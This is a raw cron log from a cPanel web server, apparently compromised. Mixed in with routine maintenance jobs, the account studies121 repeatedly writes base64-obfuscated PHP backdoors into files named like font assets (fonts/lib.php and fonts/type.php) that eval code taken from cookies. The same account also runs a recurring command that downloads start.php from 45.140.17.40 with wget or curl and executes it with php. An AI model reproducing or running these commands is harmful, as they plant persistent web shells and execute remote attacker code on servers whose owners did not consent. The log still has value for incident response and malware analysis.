Sep  1 18:04:01 ip-184-168-122-23 CROND[1783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:05:01 ip-184-168-122-23 CROND[2004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:05:01 ip-184-168-122-23 CROND[2010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:05:01 ip-184-168-122-23 CROND[2009]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:05:01 ip-184-168-122-23 CROND[2011]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 18:05:01 ip-184-168-122-23 CROND[2006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:05:01 ip-184-168-122-23 CROND[2008]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:05:01 ip-184-168-122-23 CROND[2012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:06:01 ip-184-168-122-23 CROND[2321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:06:01 ip-184-168-122-23 CROND[2324]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:06:01 ip-184-168-122-23 CROND[2322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:06:01 ip-184-168-122-23 CROND[2325]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:06:01 ip-184-168-122-23 CROND[2326]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:07:01 ip-184-168-122-23 CROND[2494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:07:01 ip-184-168-122-23 CROND[2496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:07:01 ip-184-168-122-23 CROND[2495]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:07:01 ip-184-168-122-23 CROND[2497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:08:01 ip-184-168-122-23 CROND[2573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:08:01 ip-184-168-122-23 CROND[2576]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:08:01 ip-184-168-122-23 CROND[2575]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:08:01 ip-184-168-122-23 CROND[2577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:08:01 ip-184-168-122-23 CROND[2578]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:09:01 ip-184-168-122-23 CROND[2661]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:09:01 ip-184-168-122-23 CROND[2663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:09:01 ip-184-168-122-23 CROND[2664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:09:01 ip-184-168-122-23 CROND[2665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:09:01 ip-184-168-122-23 CROND[2666]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 18:10:01 ip-184-168-122-23 CROND[2782]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:10:01 ip-184-168-122-23 CROND[2784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:10:01 ip-184-168-122-23 CROND[2788]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:10:01 ip-184-168-122-23 CROND[2792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:10:01 ip-184-168-122-23 CROND[2791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:10:01 ip-184-168-122-23 CROND[2793]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 18:10:01 ip-184-168-122-23 CROND[2794]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:10:01 ip-184-168-122-23 CROND[2790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:11:01 ip-184-168-122-23 CROND[3086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:11:01 ip-184-168-122-23 CROND[3090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:11:01 ip-184-168-122-23 CROND[3089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:11:01 ip-184-168-122-23 CROND[3088]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:12:01 ip-184-168-122-23 CROND[3240]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:12:01 ip-184-168-122-23 CROND[3242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:12:01 ip-184-168-122-23 CROND[3243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:12:01 ip-184-168-122-23 CROND[3244]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:12:01 ip-184-168-122-23 CROND[3245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:13:01 ip-184-168-122-23 CROND[3404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:13:01 ip-184-168-122-23 CROND[3406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:13:01 ip-184-168-122-23 CROND[3405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:13:01 ip-184-168-122-23 CROND[3407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:14:01 ip-184-168-122-23 CROND[3552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:14:01 ip-184-168-122-23 CROND[3553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:14:01 ip-184-168-122-23 CROND[3555]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:14:01 ip-184-168-122-23 CROND[3554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:14:01 ip-184-168-122-23 CROND[3556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:15:01 ip-184-168-122-23 CROND[3646]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:15:01 ip-184-168-122-23 CROND[3648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:15:01 ip-184-168-122-23 CROND[3650]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  1 18:15:01 ip-184-168-122-23 CROND[3653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 18:15:01 ip-184-168-122-23 CROND[3652]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  1 18:15:01 ip-184-168-122-23 CROND[3654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 18:15:01 ip-184-168-122-23 CROND[3656]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 18:15:01 ip-184-168-122-23 CROND[3657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 18:16:02 ip-184-168-122-23 CROND[3770]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 18:16:02 ip-184-168-122-23 CROND[3772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 18:16:02 ip-184-168-122-23 CROND[3774]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 18:16:02 ip-184-168-122-23 CROND[3776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 18:16:02 ip-184-168-122-23 CROND[3777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
